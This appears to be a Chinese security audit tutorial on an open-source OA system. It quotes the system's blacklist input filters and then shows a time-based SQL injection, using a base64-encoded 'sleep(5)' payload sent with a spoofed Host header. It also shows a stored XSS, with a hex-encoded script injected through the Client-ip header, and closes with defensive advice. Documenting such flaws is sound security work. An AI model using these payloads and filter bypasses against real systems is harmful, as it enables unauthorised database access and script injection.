某开源OA系统的审计记录
字数 1415 2025-08-10 08:28:29
某开源OA系统安全审计教学文档
0x00 系统概述
该开源OA系统采用基于MVC架构的设计,主要通过m、a、d三个参数来确定路由和功能调用:
- 默认访问路径在
webadmin目录下 - 通过
d和m参数确定调用哪个文件 - 当文件位置为
webadmin/$d/a/bAction.php时,a和b用|分割传入,即m=a|b - 系统通过文件名前缀同名类名初始化类对象
- 创建类对象时会调用父类
mainAction的__construct方法进行初始化 - 每个实现类都会实现
initAction方法进行初始化操作 - 最后根据参数
a定位类中具体要调用的函数处理请求
0x01 输入过滤机制分析
系统通过get()和post()方法获取参数时会对输入进行严格的黑名单检测:
核心过滤方法
public function get($name,$dev='', $lx=0) {
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
public function post($name,$dev='', $lx=0) {
$val = '';
if(isset($_POST[$name])){$val=$_POST[$name];}else{if(isset($_GET[$name]))$val=$_GET[$name];}
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}
多层过滤实现(jmuncode方法)
public function jmuncode($s, $lx=0, $na='') {
// 解密处理
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
}
if(substr($s, 0, 7)=='basejm_' || $lx==5){
$s = str_replace('basejm_', '', $s);
$s = $this->jm->base64decode($s);
}
// 基本过滤
$s=str_replace("'", ''', $s);
$s=str_replace('%20', '', $s);
// 特殊字符替换
if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
// 黑名单检测
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
$s = $this->lvlarrep($str, $v1);
$str = $s;
}
// 关键参数额外过滤
$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
if(in_array($na, $cslv))$s = $this->xssrepstr($s);
return $this->reteistrs($s);
}
黑名单列表
$this->lvlaras = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
XSS过滤方法
public function xssrepstr($str) {
$xpd = explode(',','(,), ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
$xpd[]= "\n";
return str_ireplace($xpd, '', $str);
}
0x02 SQL注入漏洞分析
漏洞位置
在openxxClassAction类中,存在通过base64解密nickName和avatarUrl参数并直接拼接到SQL语句中的情况。
漏洞利用条件
- 需要绕过
openkey校验 - 需要构造特殊的base64编码payload
绕过openkey校验的方法
系统在校验openkey时有特殊逻辑:
if($this->rock->host == '127.0.0.1' || contain($this->rock->host, '192.168')){
// 跳过校验
}
其中host来自$_SERVER['HTTP_HOST'],可通过修改请求头绕过。
漏洞利用步骤
- 构造恶意payload:
1' and sleep(5)# - 进行base64编码:
MScgYW5kIHNsZWVwKDUpIw== - 修改Host头为
127.0.0.1 - 发送请求:
/index.php?m=openxxx|openapi&d=xxx&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw==
最终执行的SQL
insert into $table set $key = '1' and sleep(5)#' ... where `openid`=xxx;
0x03 存储型XSS漏洞分析
漏洞位置
在ActionNot类的getoptionAjax方法中,num参数经过过滤但未过滤反斜杠(\),可导致SQL报错并记录到日志中。
漏洞利用链
- 通过
getoptionAjax方法传入特殊构造的num参数 - 参数最后一位为反斜杠导致SQL报错
- 报错信息被记录到日志中
- 日志记录时使用
getclientip获取IP地址 - 伪造IP地址中包含XSS payload
IP获取方法分析
public function getclientip() {
$ip = 'unknow';
if(isset($_SERVER['HTTP_CLIENT_IP'])){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['REMOTE_ADDR'])){
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip= htmlspecialchars($this->xssrepstr($ip));
return $ip;
}
绕过XSS过滤的技巧
- 使用十六进制编码XSS payload:
<script>alert('1')</script>→0x3c7363726970743e616c65727428273127293c2f7363726970743e - 使用tab代替空格绕过空格过滤
漏洞利用payload
Client-ip: 111',web=0x3c7363726970743e616c65727428273127293c2f7363726970743e -- '
0x04 审计经验总结
-
关注解密/解码操作:审计时应特别关注对json格式、base64解密等操作的参数传入点,这些地方可能出现过滤绕过。
-
黑名单绕过技巧:
- 使用编码/解码方式绕过
- 利用系统自身的解密功能
- 寻找过滤遗漏的特殊字符(如反斜杠)
-
输入验证旁路:
- 检查是否有参数可以通过HTTP头伪造
- 寻找不经过常规过滤的输入点
-
防御建议:
- 使用白名单而非黑名单进行输入验证
- 对解密后的数据应重新进行验证
- 关键操作应使用预编译语句而非字符串拼接
- 日志记录时应对所有输入进行严格过滤
-
自动化审计技巧:
- 搜索
\(\$this\-\>get\(等模式查找参数获取点 - 检查所有直接拼接SQL语句的位置
- 跟踪解密/解码函数的调用链
- 搜索